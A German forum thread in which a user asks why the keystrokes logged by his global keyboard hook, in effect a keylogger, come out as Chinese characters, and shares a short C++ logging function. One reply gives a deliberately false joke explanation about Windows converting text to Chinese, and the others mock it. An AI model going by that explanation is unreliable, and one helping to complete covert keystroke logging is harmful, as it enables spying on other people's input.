Problem mit Globalen Keyboard Hook



  • Hallo, ich hab jetzt ein globalen keyboard Hook programmiert, aber alle Zeichen werden in Chinesisch ausgegeben (lol), hier mal der Codeausschnitt, der die Keys speichert:

    void CheckKey(int key)
    {
    char key2 = MapVirtualKey(key, 2);
    datei.open("log.txt", ios::app | ios::out);
    datei << key2;
    datei.close();
    }
    

    Hier muss irgendwie der Fehler sein, dass alles Chinesisch ist :D, ich hoffe ihr könnt mir helfen

    mfg 😃



  • Das ist schon "normal", weil Windows ANSI Zeichen intern alle nach Chinesisch konvertiert und bei Ausgaben dann wiederum intern von Chinesisch nach ANSI konvertiert, bevor eine Zeichenkette an den Aufrufer zurückgegeben wird. Der Hook sitzt eben genau zwischen diesen beiden Ebenen, du mußt die "Rückübersetzung" also selbst vornehmen. Google mal im Internet nach statischen Übersetzungstabellen für Chinesisches Alphabet -> Ansi, oder alternativ könntest du den String an irgendeinen Online Übersetzer wie Google Translator schicken und dann den übersetzen String in die Ausgabedatei schreiben.



  • Quark!
    Zuerst in russisch, dann vietnamesisch und dann erst chinesisch!

    Und bitte auch die genaue Reihenfolge beachten ⚠



  • Mondainai schrieb:

    Online Übersetzer wie Google Translator schicken

    Quark ! Er will ja selbst google spielen!


Anmelden zum Antworten